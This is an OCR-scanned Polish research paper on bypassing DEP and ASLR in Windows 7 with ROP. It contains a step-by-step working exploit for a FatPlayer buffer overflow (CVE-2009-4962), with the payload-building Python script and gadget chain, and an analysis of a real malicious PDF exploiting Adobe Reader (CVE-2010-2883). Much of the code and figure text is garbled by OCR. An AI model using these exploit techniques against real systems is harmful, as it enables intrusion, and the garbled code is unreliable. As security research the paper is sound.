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Streszczenie

W niniejszym opracowaniu zostana przedstawione wyniki badan
nad najnowszymi technikami przelamywania zabezpieczen systemu
Windows 7. Najpierw krotko scharakteryzowane zostang omawiane
mechanizmy. Nastepnie na podstawie luki CVE-2009-4962 zaprezen-
towana zostanie technika ROP (ang. Return-Oriented Programming)
w polaczeniu z wykorzystaniem niekompatybilnych z ASLR (ang. Ad-
dress Space Layout Randomization) modutéw. Na koniec przeanali-
zowany zostanie exploit znaleziony w sieci wykorzystujacy luke CVE-
2010-2993.

1 Wstep

Za pierwsze zabezpieczenie typu DEP (ang. Data Execution Pre-
vention) mozna uzna¢ linuksowy patch wprowadzajacy niewykonywal-
ny stos, a wiec historia zabezpieczen omawianych typéw siega 1996
roku [1]. Patch mial za zadanie ograniczy¢ wlamania bazujace na
przepetnianiu bufora na stosie. Zabezpieczenia podobnego typu zo-
staly wprowadzone w systemie Solaris 2.6 w 1997 roku. Natomiast
pierwszym systemem, w ktérym zastosowano mechanizm randomiza-

cji pamieci (ASLR) byl OpenBSD [2].

ASLR
Randomizacja pamigci polega na tym, ze poszczegélne moduty
wykonywalne (PE - Portable Executable, ELF - Executable and
Linkable Format, etc.), wazne cze$ci wykonywanych programéw
(stos, sterta, bloki TEB - Thread Environment Block, PEB -
Process Environment Block, etc.) sa ladowane do pamieci ope-
racyjnej w sposob, ktory zapewnia, ze miejsce ich zatladowania



bedzie losowe. Znacznie utrudnia to atakujacemu zaprojektowa-
nie exploita, ktéry w latwy sposéb odnajdzie okreslony kod w
pamieci.

DEP

Zabezpieczenie typu DEP polega na tym, ze system operacyjny
(lub pewne rozwiazania sprzetowe) uniemozliwia zinterpretowa-
nie jako kod informacji oznaczonej jako dane (i odwrotnie) bez
wydania bezposredniego rozkazu zmiany interpretacji tej infor-
macji. Zabezpieczenie tego typu jest takze implementowane w
procesorach (NX - No eXecution - w procesorach AMD, XD -
eXecution Disable - w procesorach Intel).

ROP

Return-oriented programming — jest to sposéb tworzenia explo-
itéw. Projektant exploitu przyjmuje paradygmat, ktéry umiesz-
cza stos programu oraz mechanizm powracania z wywolan (w
szczegdlnosei instrukcje RET i podobne) w centrum procesu ata-
kowania systemu. ROP jest pomystowym i skutecznym sposobem
ochodzenia zebazpieczen typu DEP, poniewaz wykorzystuje on
istniejace dane posiadajace prawo do wykonania jako kod. W
niniejszym opracowaniu technika ROP nie bedzie szczegdtowo
przedstawiana. Istnieja inne opracowania, ktére dosé szczegoto-
wo opisujg to zagadnienie [4] [5] [6].

W systemach Windows XP od dodatku SP2 wprowadzono zabez-
pieczenie DEP. Pamie¢ w systemach z rodziny XP nie jest w zaden spo-
sob randomizowana. Oznacza to, ze moduly wykonywalne sg umiesz-
czane zawsze pod tymi samymi adresami (ktére moga rézni¢ jedynie w
zalezno$ci od konkretnej wersji systemu: SP0, SP1, etc.). W systemie
Windows Vista wprowadzono pierwsza wersje mechanizmu ASLR. W
Windows 7 ASLR jest stosowane dla kazdego modutu wspierajacego ta
technologie (flaga IMAGE _DLL_CHARACTERISTICS DYNAMIC_BASE
w nagléwku Optional Header nagtéwka PE ma wartosé 1). Natomiast
DEP dziata w jednym z czterech trybéw, m. in. AlwaysOn i AlwaysOff.

2 Wykorzystanie moduléw pozbawio-
nych wsparcia ASLR w praktyce

Nalezy pamietaé o tym, ze zabezpieczenie ASLR dziala dobrze je-
dynie wtedy, gdy wszystkie moduty zatadowane przez dany program je
wspieraja. Jesli istnieje chociaz jeden modul tadowany do pamiegci za-
wsze W to samo miejsce, poziom bezpieczenstwa aplikacji gwaltownie
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spada. Jak pokazemy w ponizszym przyktadzie, wykorzystujac znajo-
mos¢ polozenia jednego modutu, mozna poznaé adresy modutéw przez
niego importowanych, co w bardzo wielu przypadkach skutkuje pozna-
niem potozenia bardzo duzej ilosci kodu. Wszystkie analizy opisane w
tym opracowaniu zostaly przeprowadzone na komputerze pracujacym
pod kontrola systemu Windows 7 z wlaczona randomizacja pamieci
dla moduléw ze wsparciem ASLR.

2.1 Analiza i wykorzystanie luki CVE-2009-
4962

Luka identyfikowana przez wpis CVE-2009-4962 to typowa podat-
no$¢ na przepetnienie bufora, na ktorg cierpi FatPlayer w wersji 0.6b.
Dodatkowo sam plik wykonywalny programu nie posiada wsparcia

ASLR (wartosé¢ flagi IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE

to 0). Jest to prosty program, ktéry wykorzystamy do zaprezentowania
eksploitacji programu dzialajacego w systemie Windows 7. Informa-
cje nt. luki oraz exploit na system Windows XP zostaly opublikowane
przez Praveena Darshanama w serwisie exploit-db [9]. Wykorzystanie
luki polega na nadpisaniu zmiennej odtozonej na stosie przy przetwa-
rzaniu plikéw z rozszerzeniem wav. Podatny fragment programu dziata
nastepujaco: Na poczatek alokowane jest miejsce na jedna zmienna o
rozmiarze 1020 bajtéw, oraz kilka innych - (rys. 1). Nastepnie w petli,
bajt po bajcie, bezposrednio z pliku na stos przepisywana jest jego
zawartos¢. Ciezko wyobrazi¢ sobie bardziej komfortowa sytuacje dla
projektanta eksploita. Oprocz tego, ze zawartosé pliku bez zadnego
filtrowania jest przepisywana na stos, dzieki przepisywaniu jej bajt po
bajcie nie dzialaja zadne ewentualne zabezpieczenia przed przepetnia-
niem buforéw, poniewaz te opieraja sie tylko na informacjach o catych
tancuchach, a nie na pojedynczych bajtach - rys. 2. Aby potwierdzié
przepelnienie stosu, skorzystamy z ponizszego skryptu preparujacego
plik .wav.

#!/usr/bin/python

buff_£fill = "\z90" * 0x1020
shell = "\z66\z66\z66\z66"

buff = buff_fill + shell

try:
wav = open ("sploit.wav", "w")
wav.write(buff)
wav.close()

except:




CODE:88479898 var_ 1834= dword ptr -1834h
CODE:-88479898 var_1838= dword ptr -1838h
CODE:-88479898 var_182C= word ptr -182Ch
CODE:88479898 var_1828= dword ptr -1828h
CODE:08479898 var_1024= dword ptr -1824h
CODE:068479898 var_10828= byte ptr -16828h
CODE : 88479898 var 28= byte ptr -28h
CODE:68470808

CODE : 88479898 push ebx

CODE : 88479899 push esi

CODE:8847989A push edi

CODE - 88479898 push ebp

CODE - 8847989C add esp, BFFFFFB84h
CODE - 884798A2 push eax
CODE:-884798A3 add esp, BFFFFFFE4h

Rysunek 1: Zmienna o rozmiarze 0x1200 bajtow

moy esi; edx
nov ebx, eax | Stack wiew
push 5] ; lpOverlapped B151EE4H8 ABL7O9L2
lea eax, [esp+14h+NumberDfBytesRead] B151EEAL  BABBAAE0A
push eax ; lpHumber0fBytesRead 0151EE4E 0OOODOOA
push edi ; nHumberOfBytesToRead| |9151EELC  BBBOAEED
push psi ; lpBuffer B151EESA 989890898
push ebx : hFile B151EES4 98989898
call ReadFile B151EE58 98989890
test eax, eax B151EESC 989089898
jnz short loc_u4p924C G151EE6GD 98909090
nou [esp+1Bh+NumberDfBytesRead], BFFFFFFFFh B151EE6L  [LEITEERE
B151EE6E AOABAAAA
loc_A4B92A4C: ; CODE XREF: sub_48922 B151EEGC A@80Q8008
mou eax, [esp+1Bh+Number0fBytesRead] B151EE78 800806868
pop edx [unowm [0151EEs4: Stack]
o edi
EUE esi | BE Madules
s anh 4097772414 |

Rysunek 2: Kopiowanie danych na stos
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Rysunek 3: Btad wykonania programu FatPlayer.

print "\nUnable to Create File\n"

Po jego uruchomieniu otrzymujemy spreparowany plik — sploit.wav.
Otwoérzmy ten plik w fatPlayerze - rys. 3.
Aby przeanalizowa¢ mechanizm przelamywania zabezpieczen ASLR

stworzymy exploit ROP, ktéry wyswietli MessageBox z napisem “DCBA”.

Do wywotania funkcji MessageBox z biblioteki user32.dll bedziemy
potrzebowali dwéch rzeczy. Po pierwsze — adresu obrazu DLL (offset
funkcji wzgledem obrazu jest nam znany), po drugie — mechanizmu,
ktory wywola funkcje z zadanymi przez nas parametrami (w tym przy-
padku — pseudokodu ROP).

W systemie Windows 7 wiekszos¢ bibliotek jest tadowana pod wy-
losowany adres. Losowanie adresu moze odbywa¢ sie przy uruchamia-
niu procesu lub przy uruchamianiu samego systemu. Tak tez dzieje sie
z biblioteka user32.dll. W jaki sposéb odnalezé wiec jej adres? Aby to
zrobié¢, musimy znalez¢ modut nie wspierajacy ASLR, ale zawieraja-
cy (pod znanym offsetem) adres poszukiwanej biblioteki. W naszym
przypadku — po przejrzeniu tabeli importéw (rys. 4), mozemy stwier-
dzié, ze sam obraz pliku wykonywalnego nam wystarczy. W zaladowa-
nym pod znanym adresem obrazie, pod znanym offsetem, odnajdzie-
my adres importowanej funkcji “GetKeyboardType” (zapisany tam w
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< FatPlayer.exe

Module Mame Imports OFTs TimeDate5t
00085170 A 00084940 00084944

szANSI (nFunctions) | Dword Dword

user32.dil 173 Q0000000 Q0000000
user32.di | =5 00000000 00000000
version.dll 3 Q0000000 Q0000000
WMVCORE.DLL 1 Q0000000 Q0000000

FTs (IAT)

Cword Cword Word sZANSi

A 000394EA 0000 GetleyboardType
A 000s94FC Qooo LoadStringA

M A 00039504 00ao0 MessageBoxA

SS Hria 00089513 Qooo CharMexta

Rysunek 4: Biblioteka user32.dll w tabeli importow.

trakcie ladowania programu). Dodamy do niej znane nam przesunie-
cie funkcji MessageBox (wzgledem GetKeyboardType) i otrzymamy
offset interesujacej nas funkcji.

Drugi element, mechanizm wywotania funkcji MessageBox, to pseu-
dokod ROP. Opis techniki ROP wykracza poza tematyke niniejszego
opracowania, polecam dobre artykuly na ten temat: [4] [5]. Potrzebu-
jemy pseudo-funkcji zapisujacych wartosé typu DWORD po wskazany
adres (aby zapisa¢ argumenty funkcji, nazwiemy ja POKE), pseudo-
funkcji odezytujacej wartos¢ DWORD ze wskazanego adresu (do od-
czytywania adresu bibliotek i funkcji, nazwiemy ja PEEK), pseudo-
funkcji wywolujacej (do wywotania funkcji MessageBox, nazwiemy ja
CALL) oraz pseudo-funkcji dodajacej dwie wartosci typu DWORD
(do dodawania offsetéw, nazwiemy ja ADD).

Przy wykorzystaniu tych pseudo-funkeji przeprowadzimy nastepu-
jace operacje (w uproszczeniu):

POKE (ABCD)

PEEK (adres user32.d11)
ADD(offset MessageBox)
CALL (MessageBox (ABCD))




Do odnalezienia uzytecznych fragmentéw kodu modutu wykony-
walnego uzyjemy prostego programu stworzonego w laboratorium CERT,
bitbite. W przeciwiemstwie do programéw dziatajacych w oparciu o
dzialajace procesy, bitbite analizuje zrzuty pamieci. Wszystkie frag-
menty potrzebne do skonstruowania potrzebnych pseudo-funkeji od-
nalezliSmy w module wykonywalnym FatPlayera — FatPlayer.exe.

Wywotanie bithite dla zrzutu sekcji kodu FatPlayera:

1 |$ LD_LIBRARY_PATH="." ./bitbite stuff/fat_player_CODE.dump > log

Wynik dzialania programu (fragment) przedstawiono na rys. 5.
Dla przyktadu przedstawimy proces tworzenia funkcji POKE. Do
jej stworzenia wykorzystaliSmy nastepujace fragmenty:

--cut here--
0x00002e61 58 POP EAX
0x00002e62 c3 RET
--cut here--

-—cut here--
0x000029e7 5e POP ESI
0x000029e8 c3 RET
—--cut here--
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--cut here--
0x00000504 8906 MOV [ESI], EAX
0x00000506 5a POP EDX
0x00000507 5d POP EBP
0x00000508 5f POP EDI
0x00000509 5e POP ESI
0x0000050a 5b POP EBX
0x0000050b c3 RET

—--cut here--

e e e e e e e
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A wiec adresy fragmentéw kodu, po dodaniu adresu sekcji CODE
FatPlayera (0x401000) sa nastepujace:

1 | 0x00403e61
2 | 0x004039e7
3 | 0x00401504

Argumenty funkcji (string DCBA zakohczony zerem) zapiszemy
pod adres 0x408000 (sekcja DATA z prawem do zapisu). Musimy tez
pamietaé o instrukcjach POP, ktére usuna ze stosu czeé¢ wartosci
i zapisa¢ tam jakiekolwiek niepotrzebne dane (w tym przypadku —
0x66666666). Fragment stosu zapisujacy string do pamieci bedzie wy-
gladal nastepujaco:

1 |0x00403e61 // POP EAX



zeful bit!ll at: Ox
10290

bbb 1 MOy ESP, Owabb
() ADD [ER¥+EBP*+E+0=593], DL

ESI

ﬁL, Dxee
of ADT [EEP+EHH
MOy H.
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ADD
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ESP
CALL

POP
RET

0F
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Rysunek 5: Efekt dziatania programu bitbite.
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0x41424344 // string ABCD
0x004039e7 // POP ESI
0x00408000 // adres sekcji DATA
0x00401504 // MOV [ESI], EAX
0x66666666 // junk

0x66666666 // junk

0x66666666 // junk

0x00403e61 // POP EAX
0x00000000 // zera

0x004039e7 // POP ESI
0x00408004 // adres sekcji DATA +4
0x00401504 // MOV [ESI], EAX
0x66666666 // junk

0x66666666 // junk

0x66666666 // junk

Pierwsza instrukcja RET po nadpisaniu stosu spowoduje zdjecie z
niego warto$ci 0x00403e61 i umieszczenie jej w rejestrze EIP. Ozna-
cza to, ze sterowanie programem zostanie przekazane do fragmentu
zawierajacego instrukcje POP EAX, ktora z kolei zataduje kolejny ar-
gument, 0x41424344 (czyli tancuch “ABCD” zapisany szesnastkowo i
odwrécony - pamietajmy o regule “little endian”), do rejestru EAX.
Nastepnie wykonana jest nastepna instrukcja RET i sterowanie jest
przekazane pod adres z instrukcja POP ESI, ktéra taduje adres sek-
cji DATA. Kolejny RET powoduje wykonanie instrukcji pod adresem
0x00401504, czyli MOV [ESI], EAX. Jej wykonanie oznacza zapisanie
wartosci z EAX pod zapisywalnym adresem 0x00408000. Potem znaj-
duje sie kilka niewaznych argumentéw, ktére zostana zdjete ze stosu
kolejnymi instrukcjami POP. Kolejne pozycje stosu spowoduja zapi-
sanie zera po tancuchu “DCBA”. W ten sam sposéb przygotowujemy
argumenty, ktére spowoduja wyznaczenie adresu funkcji MessageBox
i jej wywolanie. Ostatecznie eksploit przedstawia si¢ nastepujaco:

#!/usr/bin/python

buff_fill = "\z90" * 0x1020

shell = "\z61\z8e\z40\z00\z4f4\z43\z42\z41\ze7\239
\z40\z00\z00\240\z48\z00\z04 \z15\z40\z00
\z66\266\266\266\266\c66\266\266\266\166
\z66\266\ 204 \z40\248\200\z66\266\266\z66
\z61\z3e\zf0\z00\200\200\z00\200\204\215
\z40\z00\z5b\z2a \201\200\z4c\272\x48\z00
\z66\266\266\266\266\266\266\266\266\166
\z66\z66\z07\223\z40\200\z66\266\266\266
\z66\266\266\z66\266\266\z66\266\166\z66
\z66\266\266\z66\266\266\z66\266\x66\z66
\za6\z3d\z40\200\266\266\266\266\266\z66
\z66\266\z66\266\266\z66\z75\x62\x46\z00
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Rysunek 6: Udane wykorzystanie exploita

\200\200\z00\z00\200\240\248\z00\200\ 240
\z48\z00\z00\z00\200\200"

buff = buff_fill + shell

try:
wav = open ("sploit.wav", "w")
wav.write(buff)
wav.close()
except:
print "\nUnable to Create File\n"

Efekt dziatania przedstawiono na rys. 6:

Podsumowujac, przy wykorzystaniu podatnosci na przepelnienie
bufora na stosie i zaladowanie modutu nie wspierajacego ASLR byli-
Smy w stanie obejS¢ nowe zabezpieczenia systemu Windows 7 korzy-
stajac z techniki ROP.
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Rysunek 7: Zdekodowany strumien DecodeFlat

2.2 Analiza luki CVE-2010-2883 oraz exploita
golf_clinic.pdf

Luka CVE-2010-2883 zostala odkryta w ztosliwym kodzie zawar-
tym w pliku PDF golf_clinic.pdf dotaczonym do wiadomodci o tytule:
“Golf Clinic, David Leadbetter’s One Point Lesson” przez Mile Par-
kour [8] we wrzesniu tego roku. Po otworzeniu zlosliwego pliku na
komputerze ofiary instalowane jest oprogramowanie szpiegujace. Po-
nizej omowiony zostanie przebieg infekcji.

Exploit wykorzystujacy podatno$¢é CVE-2010-2883 sklada sie z
trzech elementow: obiektu wymuszajacego zatadowanie biblioteki nie-
wspierajacej ASLR (icucnv36.dll), kodu przepelniajacego bufor i przej-

11
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mujacego sterowanie oraz shellcode’u, ktory zostal umieszczony w pa-
mieci procesu.

Analize rozpoczniemy od kodu JavaScript umieszczajacego shell-
code w pamieci procesu Acrobat Reader’a. Zostal on zaobfuskowany i
umieszczony w obiekcie typu DecodeFlat (rys. 7). Aby ukryé przezna-
czenie kodu, projektant exploita uzyl wylosowanych nazw zmiennych
oraz kilka petli zaciemniajacych kod (rys. 8). Kod na podstawie wersji
Reader’a generuje odpowiedni shellcode (rys. 9). Zaznaczony fragment
jest adresem instrukcji ret w bibliotece icuconv36.dll, w ktérym zamie-
niono miejscami jego starsze i mtodsze stowo.

Przejecie kontroli nad stosem, a tym samym (w kontekscie eks-
ploitacji ROP) nad rejestrem EIP i strumieniem wykonywanych roz-
kazéw, odbywa sie przy przetwarzaniu tabeli SING, elementu kon-
strukcyjnego tzw. glyphlet’éw. W definicji stadardu okreslono pole
“uniqueName” jako string ASCII o dlugosci 28 bajtéw, zakonczony
zerem. Funkcja, ktéra przetwarza to pole (znajduje sie ona w bibliote-
ce CoolType.dll) nie sprawdza, czy string jest poprawnie zakonczony
i wywoluje na nim operacje strcat. Umozliwia to przepelnienie bufora
i skierowanie wykonywanie kodu do shellcode.

Nastepnie stosowana jest metoda ROP (rys.11).

Teraz ztosliwy kod przejal kontrole nad stosem i rejestrem EIP.
Ma on do swojej dyspozycji kod zawarty w obrazie icuconv36.dll, kt6-
ry zostal zaladowany pod znany projektantowi exploita adres. Wy-
korzystujac fakt, ze w tabeli importéw tego obrazu znajduje si¢ wpis
dotyczacy biblioteki kernel32.dll, kod odnajduje ten wpis i otrzymuje
adres zatadowanego obrazu kernel32.dll. Dodajac offsety poszczegdl-
nych wywotan, kod korzysta z funkcji kernel32.dll aby kontynuowaé
proces infekcji.

Co wykonuje zatadowany kod? Spdéjrzmy na kolejne wywotania
systemowe:

[...]
CreateFileA(is088591, );
[...]
CreateFileMappingA(...);
[...]
MapViewOfFile(...);

[...]

MSVCR80 !memcpy (. ..);

(]

Poniwaz prowadzenie ataku z wykorzystaniem ROP jest dosé trud-
ne, exploit wykorzystuje ta technike tylko po to, aby zatadowaé z ze-
wnetrznego pliku wlasciwy shellcode i przekazaé¢ do niego sterowanie.

Podsumowujac, korzystajac z biblioteki niewspierajacej ASLR ata-
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var Juaidai = 123
var Tolbgrpp = "7

function Ynyhayduw(Gklcbtj, times)§
Ipugpglbvtn =

var Juaidai

for (Otdwcwgpeznj=0:0tdwcwgpeznj<times :Otdwcwgpeznj++§
Juaidai = 13

ipugpqlhutm = Ipugpqlbvtw + Gklcbtj:

return Ipugpglbvtu:

function Oovachwigui Txapyuyksdkd)
var Juaid 21 _
return unehscapel Jxapyyylkadkd)

3

var Pimfmtggbh = Tolbgnpp+ Lcharft{1)+Taolbgnpp:
Pimfmtagbh = Tolbgnpp + Pimfmtoggbh + Tolbgnpp+'u"+Talbgnpp:

uhiiclkulnal

+ + + + + + + FF o+ o+

Rysunek 8: Zaobfuskowany kod
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CoolType.dll:
CoolType.dll:
CoolType .dl1l1:
CoolType.dll:
CoolType.dll:
CoolType.dl1l:

AT TR I TR T L T T 0 [ o [ 1]
[T I T TR R~ T S w T T T R 1]

T T T T TR [ 1 | N S
o o ot o oLy o oo

1544
44
44
44,
44,
LE
44,
44,
44,
LE
LE
4433
44,
44,
LE
44,
44,
44
44
44
44
44

TR T R
I l}

Rysunek 9: Shellcode

6AN91828
6AA91828 loc_ 6AR91828: : CODE
6AA91828 jnp off_6AAAF280

AT TS [ — e

e o1 pCrt G6AAAF280=[CoolType .d1l:off GAAAF28
6OA9182F db  2Sh .off 6AAAFZ280A dd offset msucr88 strcat

Rysunek 10: Wywotanie strcat
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6.d11:-4ABA1862
6.d11:-4ABA1063
6.d11:-4ABA1086L
6.d11:4ABA186L
6.d11:4ABA1086L
6.d11:-4ABB1065
6.d11:-4ABB1066
6.d11:-4ABB1067
6.d11:-4ABB1068
6.d11:4ABB1069
6.d11:-4ABB106A
6.d11:-4AB081068
6.d11:-4ABB1086C
6.d11:-4AB8106D
6.d11:4AB81086E
6.d11:-4ABA186F
6.d11:4ABA1878
6.d11:-4ABA16871
6.d11:-4ABA1872
6.d11:-4ABA16873
6.d11:-4ABA1874

EIP

9 H

-

S

db SEh
db  5Dh

db  3Zh
db @Coh
db BEEh
db @FFh
icucnu3é u
db 8Eh
db  74h
db  24h
db g
db  8%h
dh BF6h
dh 7uh
dh 53h
dh 8Bh
db  4éh
db  2&h

oEO + M

idi

L Nl

Lot B o HE B T CR - TL

EDX 80006000 L,

EBF 41414141 L,

EFL 88288286

ELX UMZ/DELY L, STack] WHUYUH B | ZHUZ /DB

ESI 88740918 L, debugB38 - 0874D918
EDI 8927E298 L, Stack[00B0BEGB] - 0B27E298

ESF 88852274 L, debuqgB91:88852274
EIP 4A881064 L, icucnu3s.dll - 4A8A1064

| Stack wview

BBASF2BC
BBASF2CA
BBASF2CY
BBASF2C8
BBASF2CC
BBASF2DB
BBASF2DY
BBASF2D8
BBASF2DC
BBASF2EQ
BBASF2EY

LAR A1 B64
LAR A1 864
LAR A1 864
LAR A1 864
LAB A1 A64
LAB A1 864
LAB A1 864
LAB A1 864
LAB A1 864
LAB A1 864
LABE1864

;I AROCEIER haR @1 0Ah

Rysunek 11: Exploitacja ROP

CoolType.dil

| File: icucnv36._dll

|Z] Dos Header

[Z] Mt Headers
— [l File Header
4.T.|_|i—| Optional Header

|=] Data Directories ]

[Z] Section Headers fx]
EﬂEﬁmﬂmmdow
(3 Import Directory
[ Resource Directory
([ Relocation Directory
%Lﬁkkie&s(hnveﬂer
2}, Dependency Walker
4, Hex Editor

4, Identifier

2y, Import Adder

4, Quick Disassembler
24, Rebuilder
abﬁbamjcelaﬂur

Mo pmotza .

icucnuldé . dll:4AB A1 A6Y
icucnuldé . dll:4AB A1 A6Y
icucnulda.dll - 4AS A1 A6Y
icucnulda.dll - 4AS A1 A6Y
icucnudd.dll - 4A8 A1 064
icucnu3dé . dll 480166

icucnu3é . dll:-4AS 01064
icucnu3é . dll:-4AS 01064
icucnu3é . dll:-4AS 01064
icucnudb . dll:4A801064
icucnu3db . dll:4A801064

drurnu?hA dA11 -hal a4 BA L

.

MSVCRE0. dll

0003EAF4

Module MName Imports OFTs TimeDateStamp ForwarderCh
000BED42 MNfa OO0BEA 1S 0O003EALC OO0BEA2D
szAnsi (nFunctions) | Dword Dword Dword
icudt3s.dil i 0003EBES Q0000000 00000000
KERMEL32.dll | 28 O00BEABD Q0000000 00000000
ADVAPI3Z.dIl 5 0003EAGS Q0000000 00000000

00000000 00000000

OFTs FT= (IAT) Hint Mame

Dword Dword Waord szANS

000BECSE 0003ECSS 0251 LeaveCriticalSection
000BECYD Q0O8ECTD 0223 InitializeCriticalSection
0003ECBC Q00D3ECEC 022C InterlockedIncrement
0003ECA4 O0DSECA4 0228 InterlockedDecrement
0003ECBC Q00D3ECEC 0os1 DeleteCriticalSection
NNNRFC4n NNNRFC 40 nnag FrterritiralSertinn

Rysunek 12: Adres biblioteki kernel32.dll
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ntdll KiFastSystemCallRet:

retn
db 8Dh : i
db 8a4h : T
db  24h : §
db 5] B output window - |0 il
il . \plug_ins\PPKLite.api &
db (1] 744E0000: loaded C:windowshsystem3z2\wsock32.d11
db 1] 76920000: loaded C:'windowshsystem32'ws2_32.d11
db  ®Dh : i FLACOO00: Toaded C:iwindowshsystem32'nsi.dll
1 C:hyUsers' John'appbatasLocalhTemp' ASRASOF . TMp
db o4h ; d C:WUsers' John\AppData'Local’ Temp' ASRA40F, tmp
db 24h - $ C:%WProgram Files‘\Adobe'\Reader 9,0%Resource\Font
’ wCourierstd.otf
db I]_ C:4Program Files\aAdobe\Reader 9.0%Resource\Font
ntdll KiIntSyst ['Courierstd.otf
db SEh =T 4A800000: Toaded C:%Program Fileshadobe'\Reader 9.0%Reader
’ Wicuenw3se.dll j
dh  24h ; $ rRetrieving information from the database... ok il
db 8
db acon ; - cuherd

Rysunek 13: Ladowanie icuconv36.dll

kujacy byl w stanie odnalezé wylosowany adres biblioteki zgodnej z
ASLR. W katalogu Reader’a w wersji 9 znajduje sie 32 obrazy DLL, z
czego 12 z nich nie wspiera ASLR. Exploit miat do dyspozycji tabele
importu m.in. takich bibliotek jak: atl.dll, ccme_base.dll, logsession.dll.

Ostatnie pytanie brzmi: jak zmusi¢ program do zatladowania kon-
kretnego, nie wspierajacego ASLR, obrazu? Obraz icuconv36.dll od-
powiada za konwersje unicode. Jesli przesledzi¢ proces jego ladowania,
mozna, analizujac stos wywotan, dowiedzie¢ sie, ze rozkaz zatadowa-
nia stosu pochodzi z AcroForm.api (rys. 14). Mozna przypuszczaé, ze
zaladowanie obrazu bylo konsekwencja uzycia funkcji zwiagzanych z
konwersja unicode, np.:

1 |unescape(’\u0000’) ;

Aby potwierdzi¢ ta teze, mozna stworzy¢ dwa dokumenty PDF, je-
den bez takich wywotan, a drugi zawierajacy je. W przypadku otwie-
rania drugiego pliku obraz zostanie zaladowany (rys. 17).

3 Podsumowanie

Whioski z niniejszego opracowania mozna stresci¢ w nastepujacy
sposob: Aplikacje, ktore korzystaja chociaz z jednego modutu, ktory
nie wspiera technologii ASLR sg z duzym prawdopodobienstwem po-
datne na naduzycia przy wykorzystaniu technik obchodzenia DEP (na
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AcroForm.api: 69537236
AcroForm.api: 69537237
fAcroForm.api:69537238 ;
AcroForm.api:69537238

db  55h ; U
db  13h
call sub_695366AB

AcroForm.api:69537230 mov eax, [esi+4]
AcroForm.api:69537248 mov cl, [ebp+13h]
AcroForm.api:69537243 mou edx, [ebp+BCh]
AcroForm.api:69537246 add eax, ebx
AcroForm.api:69537248 mov [eax+edx], cl
ficroForm.api:6953724B mov eax, [esi]
(EIATLREE BRI 0T G, GO =lojx
AcroForm.api:6953724F and eax, 3 J?sn;;o:ewﬂnnﬂnﬂss =10lx|
A Fi .api:69537252 shl 2 =
A ° . 893CDS9C 90099080
[unkmown  [59537238: AcroForm.api:acroform_DllUnregisterServer +108! BUSCD8AY  B18UDSCH - -
| Ba3CDBAY AcroForm.api:acroform D11llUnreqgist]
B03CDEBA8S A@37BA1EA debuqgB77:837BA1ER =
lex View-ES| @03CDEBAC AOBB17CH |
EFCH ©0 60 0P A0 6P 00 OO @G OO A0 08 AO @@ ¢ HOSCDSEG  BO3CDYES Stack[G0ABA764]:0B3CDYES
EFDG A8 B@ 60 BA AA AG O AA MG 60 A @A A@ ¢ HOSCDEEL OOOOOOOO
EFES ©0 00 00 00 B0 0P B0 00 00 0O 60 00 @@ ¢ FO3CDEES  BB3CDY38 Stack[ BOBOO764]:BB3CDY3E -
EFFO - 88 80 80 00 80 00 00 80 60 00 808 80 08 fjyqowy  Do3CDBA4: Stack[00D00764]:003CDEA%
F 888 D‘) 3C 60 68 68 3D 66 66 DB 3B 68 [1[1(" | LI
FB16 @88 1E 60 80 88 A2 4F B8 @8 FO FD 7F @A &
Foo%na 2% AA OO0 OA Ah O7 OO0 A0 AQ OA AR A B 07 hB QAR a d 1&w | |l'|(|‘1l"|'lﬂ‘)l| CEF ng 2 A 70 Fa
. s
Rysunek 14: Wywotanie zrodtowe
eon e g s e s e g mmm s o emm s o ma e e D mms —m L rm e
loaded C:‘Wwindows'system32'ntd11.d11 =
loaded cC:'windows'system3z2'kernelzz.dll g no_form.pdf - Adobe Acrobat Pro
loaded C:‘\windows“system3z2'KernelBase.dl1 r
loaded C:'\Windows'system3z2suser3z.dll File Edit View Document Comments
Toaded C:'Wwindows'\system324gdi3z2.d11
Toaded C:windows\system32'Ipk.d11
lToaded C:‘Wwindows'system32'usplo.dil
loaded C:'\windowshsystem3z2'msvert.dll
Toaded C:'windows'\system32advapizz.dll
Toaded C:'Windows'SYSTEM32Ysechost.d11
loaded C:‘\windows'\system32\rpcrt4.dll
loaded C:‘\windows\system32'shell3z.dl11
Toaded C:%Wwindows'\system32\shlwapi.dll
loaded MswCP80.d11
Toaded MSVCREB0.d11
loaded C:'\Windows'system32%imm32.d11
76EADDD0D: Toaded C:'\windowshsystem3zmsctf.d11
§2850000: loaded C:“Program Files‘Adobe‘Reader 2%.0%Reader‘Acrord3z.dl11
746B0000: loaded C:'\Windows'system22version.dll
§43D0000: Toaded C:“Program FileshAdobe'Reader 2.0%“ReaderhAai.dll
§4770000: Tloaded C:%\Program Files‘Adobe\Reader 9.0%Reader\CoolType.dll
lToaded C:‘windows'system32'.01e32.d11
loaded C:'windows“system3z2icomctl3z.dll
loaded C:‘\windows'system32'userenv.dll
loaded C:‘windows\system3z2'profapi.dll
Toaded C:'Wwindows'\system32%winmm.d11
&C930000: loaded C:“\Program Files‘Adobe'Reader 9.0%WReader‘BIE.d11
646A0000: Toaded C:“Program FileshAdobe'Reader 2.0%Reader’ACE.d11
75010000: loaded C:'Windows'\system32'cryptbase.dll
Unloaded C:“Program Files'Adobe'Reader 39.0%“WReader‘AcroRd3z.dl11
unloaded C:%Program Files‘Adobe'Reader 9.0%Reader‘ace.dll
uUnloaded C:'Windows'systemzz2\winmm.d11

unloaded C:'windows'system3zhuserenv.dll

Rysunek 15: Biblioteki bez obiektu funkeji unicode
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A form4.pdf - Adobe Acrobat Pro

File Edic  Wiew Docurent  Comments  Forms  Tools  Advan

TR i B [ AddNewField = | [l Preview

I General | Appearancel Options  Actions |Format| Valis

~Add an Action = 0

Select Trigger: | Mouse Up 'I T

Select Action: I Run a JavaScript

i E Textil E

~ Actien

= Mouse Up JavaScript Editor

Run a JavaScript

Create and Edit JavaScripts

unescape ("\u0000") ;

T LN T

Rysunek 16: Wykorzystanie konwersji unicode

_S2.a11
teader 3.0%Reader‘Adobexmp.dll
teader 9.0%Reader'plug_ins\Accessibility.api g form4.pdf - Adobe Reader

teader 9.0%Reader‘BIBUtils.dl11 File Edit View Dooument Tools V

‘eader 9.0%Readerisqlite.dll

=M

=| Pleasefill out the following f
Please print your completed

ieader 9.0%Reader‘plug_ins'Updater.api
¥i.d11

wn.dll

32.d11

;nl.dil

wtil.d1l

ic1i.d11

welp.dil

15.d11
lib.d11
teader 3.0%Reader'icucnv3e.dll
teader 9.0%Reader‘icudt36.d11
‘eader 9.0%Reader“ SPPlugins’ADMPTugin.apl
